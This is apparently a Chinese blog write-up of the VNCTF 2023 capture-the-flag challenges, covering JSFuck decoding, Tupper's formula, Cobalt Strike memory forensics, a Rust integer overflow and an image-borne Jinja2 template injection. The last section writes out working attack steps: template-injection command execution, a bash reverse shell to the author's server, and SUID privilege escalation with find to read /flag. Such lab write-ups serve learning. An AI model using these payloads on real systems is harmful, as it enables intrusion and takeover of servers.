VNCTF2023复现

1.WEB-象棋王子

F12查看源码,在play.js里能找到一串jsfuck编码,解码得到flag

2.MISC-验证码

给了提示tupper

从网上找了找相关的知识,找了个在线网站https://tuppers-formula.ovh/

按照图片名称顺序整理一下验证码的字符

1594199391770250354455183081054802631580554590456781276981302978243348088576774816981145460077422136047780972200375212293357383685099969525103172039042888918139627966684645793042724447954308373948403404873262837470923601139156304668538304057819343713500158029312192443296076902692735780417298059011568971988619463802818660736654049870484193411780158317168232187100668526865378478661078082009408188033574841574337151898932291631715135266804518790328831268881702387643369637508117317249879868707531954723945940226278368605203277838681081840279552

利用在线网站得到flag

3.WEB-Snake on web

放进edge,查看源码

我修改了一下速度,然后手搓。。

就做了这三道题,还是太菜了,下面学一下内存取证

4.MISC-来一把紧张刺激的CS

第一次尝试做内存取证的题目,试试

附件是一个raw文件还有一个poc.py的脚本

从网上查了查什么是raw文件

RAW文件几乎是未经过处理而直接从CCD或CMOS上得到的信息,通过后期处理,摄影师能够最大限度地发挥自己的艺术才华。

打开poc.py

import hashlib
welocome = """
Welcome to VNCTF 2023
Try your best to find the traces left by that man!
Note: Just fill in the information you find in the variables below, 
and be careful not to bring extra spaces at the beginning and end.
"""
process_name: str = ""
# name of the doubtable process
port: str = ""
# port of the connection
server_address: str = ""
# address of the remote server,just like a url
publickey: str = ""
# A string of hexadecimal,without "0x",in lowercase
hash_ans: str = hashlib.md5((process_name + port + server_address + publickey).encode()).hexdigest()
print("Your answer is: flag{" + hash_ans + "}")

这里的脚本大体的框架已经给出了,审计了一下

就是缺少process_name、port、server_address、publickey这4个参数

百度翻译一波

就是要我们知道这个raw文件,异常进程的名称,端口,服务器地址,以及公钥

从网上捣鼓好了volatility2、3的配置

用volatility2跑了一下报错了,那就看看volatility3

先看看raw这个文件的信息

再看看pslist,看看进程信息

发现有好几个exe文件,而且大多是重复的。

这个CS我一开始以为是GOGO呢,后来看了hint,觉得CS估计是一个简写,就搜到了Cobalt Strike 信标的内存转储这个东西

参考Cobalt Strike:内存转储 - 第 6 部分

了解到了一个脚本 1768.py,该工具用于提取和分析 Cobalt Strike 信标的配置

python 1768.py -r +附件位置

可以获得port,publickey,server_address

目前就是差一个异常程序名称

百度搜索一下这些windows进程名称是干嘛的

svchost.exe:是微软Windows操作系统中的系统文件,微软官方对它的解释是:svchost.exe 是从动态链接库 (DLL) 中运行的服务的通用主机进程名称。这个程序对系统的正常运行是非常重要,而且是不能被结束的。许多服务通过注入到该程序中启动,所以会有多个该文件的进程。

conhost.exe:全称是Console Host Process, 即命令行程序的宿主进程。简单的说他是微软出于安全考虑,在windows 7和Windows server 2008中引进的新的控制台应用程序处理机制。不是病毒木马

dllhost.exe:dllhost.exe是运行COM+的组件,即COM代理,运行Windows中的Web和FTP服务器必须有这个东西。

从网上搜索了一下dllhost.exe,有dllhost.exe报错的相关内容,感觉这里的异常进程估计是dllhost.exe

尝试了一下pycharm跑一下跑出来了,试一下flag是否正确,是正确的,所以dllhost.exe就是我们要找的异常进程。

PS:这道题不知道怎么的直接利用1768工具跑出来了,正常来说是应该要利用volatility提取进程内存转储

python vol.py -f D:\CTF附件\attachment\memory.raw -o C:\Users\Evi1s7\Desktop\取证 windows.memmap.Memmap --dump

之后利用1768工具对于提取出的所以进程内存进行分析

5.WEB-电子木鱼

考察代码审计以及整数溢出

打开靶机界面,看看源码没有什么东西,下载一下给的附件

大体看了一下,应该是这道题的源码以及一些配置文件

打开main.rs得到源码,也找到了关键的代码部分

#[post("/upgrade")]
async fn upgrade(body: web::Form<Info>) -> Json<APIResult> {
    if GONGDE.get() < 0 {
        return web::Json(APIResult {
            success: false,
            message: "功德都搞成负数了,佛祖对你很失望",
        });
    }
    if body.quantity <= 0 {
        return web::Json(APIResult {
            success: false,
            message: "佛祖面前都敢作弊,真不怕遭报应啊",
        });
    }
    if let Some(payload) = PAYLOADS.iter().find(|u| u.name == body.name) {
        let mut cost = payload.cost;
        if payload.name == "Donate" || payload.name == "Cost" {
            cost *= body.quantity;
        }
        if GONGDE.get() < cost as i32 {
            return web::Json(APIResult {
                success: false,
                message: "功德不足",
            });
        }
        if cost != 0 {
            GONGDE.set(GONGDE.get() - cost as i32);
        }
        if payload.name == "Cost" {
            return web::Json(APIResult {
                success: true,
                message: "小扣一手功德",
            });
        } else if payload.name == "CCCCCost" {
            return web::Json(APIResult {
                success: true,
                message: "功德都快扣没了,怎么睡得着的",
            });
        } else if payload.name == "Loan" {
            return web::Json(APIResult {
                success: true,
                message: "我向佛祖许愿,佛祖借我功德,快说谢谢佛祖",
            });
        } else if payload.name == "Donate" {
            return web::Json(APIResult {
                success: true,
                message: "好人有好报",
            });
        } else if payload.name == "Sleep" {
            return web::Json(APIResult {
                success: true,
                message: "这是什么?床,睡一下",
            });
        }
    }

看到了i32,就大体知道这道题的思路了,利用整数溢出,之后POST传参一下就能出flag,cost是i32,这个就牵扯到了Rust了

可以看看这篇佬的文章Rust 语言圣经 - Rust语言圣经(Rust Course)

这里也介绍了数字范围

所以对于i32,数字范围值为-2147483648~2147483647

所以根据之前做过的整数溢出的题目,只要小于最大值2147483647就可以

6.MISC-LSSTIB

这道题涉及确实到盲区了,都不知道什么是suid

先利用一个脚本生成一张图片

from PIL import Image
#MAX = 25
# 二维码大小
pic = Image.new("RGB", (320, 1))
str = "0"*320
i = 0
for y in range(0, 1):
    for x in range(0, 320):
        if (str[i] == '1'):
            pic.putpixel([x, y], (0, 0, 0))
        else:
            pic.putpixel([x, y], (255, 255, 255))
        i = i+1
pic.save("1.png")

再利用LSB加密的脚本将需要隐藏的ssti.txt加密到图片中

SSTI.txt:{{7*7}}

# -*- coding: utf-8 -*-
"""
Created on Sun May 19 11:20:05 2019
@author: Administrator
"""

from PIL import Image


def plus(string):
    # Python zfill() 方法返回指定长度的字符串,原字符串右对齐,前面填充0。
    return string.zfill(8)


def get_key(strr):
    # 获取要隐藏的文件内容
    with open(strr, "rb") as f:
        s = f.read()
        string = ""
        for i in range(len(s)):
         # 逐个字节将要隐藏的文件内容转换为二进制,并拼接起来
         # 1.先用ord()函数将s的内容逐个转换为ascii码
         # 2.使用bin()函数将十进制的ascii码转换为二进制
         # 3.由于bin()函数转换二进制后,二进制字符串的前面会有"0b"来表示这个字符串是二进制形式,所以用replace()替换为空
         # 4.又由于ascii码转换二进制后是七位,而正常情况下每个字符由8位二进制组成,所以使用自定义函数plus将其填充为8位
            string = string+""+plus(bin(s[i]).replace('0b', ''))
    # print(string)
    return string


def mod(x, y):
    return x % y

# str1为载体图片路径,str2为隐写文件,str3为加密图片保存的路径


def func(str1, str2, str3):
    im = Image.open(str1)
    # 获取图片的宽和高
    width, height = im.size[0], im.size[1]
    print("width:"+str(width))
    print("height:"+str(height))
    count = 0
    # 获取需要隐藏的信息
    key = get_key(str2)
    keylen = len(key)
    for h in range(height):
        for w in range(width):
            pixel = im.getpixel((w, h))
            a = pixel[0]
            b = pixel[1]
            c = pixel[2]
            if count == keylen:
                break
            # 下面的操作是将信息隐藏进去
            # 分别将每个像素点的RGB值余2,这样可以去掉最低位的值
            # 再从需要隐藏的信息中取出一位,转换为整型
            # 两值相加,就把信息隐藏起来了
            a = a-mod(a, 2)+int(key[count])
            count += 1
            if count == keylen:
                im.putpixel((w, h), (a, b, c))
                break
            b = b-mod(b, 2)+int(key[count])
            count += 1
            if count == keylen:
                im.putpixel((w, h), (a, b, c))
                break
            c = c-mod(c, 2)+int(key[count])
            count += 1
            if count == keylen:
                im.putpixel((w, h), (a, b, c))
                break
            if count % 3 == 0:
                im.putpixel((w, h), (a, b, c))
    im.save(str3)


def main():
    # 原图
    old = "1.png"
    # 处理后输出的图片路径
    new = "1_encode.png"
    # 需要隐藏的信息
    enc = "ssti.txt"
    func(old, enc, new)


if __name__ == '__main__':
    main()

之后文件上传,得到47,之后再上传一张进一步判断是什么类型的SSTI

{{7*'7'}},回显7777777,所以也就知道是jinja2的模板

试一下之前做题整理的命令

{{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}

说明可以这样进行命令执行,再看一下根目录,成功找到flag,cat一下

发现不行,这就要根据题目给的hint,suid了,从网上搜了搜就是获得特殊权限,有更高的权限才可以进行cat flag

到这里就是我知识盲区了,看一下别的佬的wp学习一下

首先是反弹shell

{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"').read()}}

写入图片后进行上传(第一次利用vps做题)

先nc一下端口(我这里是放行了3333端口)

先ls看一下有什么东西

看一下根目录

找到了我们的flag,先尝试直接cat /flag,发现不允许

根据提示suid提权

find / -perm -u=s -type f 2>/dev/null

直接提权

find `which find` -exec whoami \;

之后用find的权限直接cat flag

find `which find` -exec cat /flag \;

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值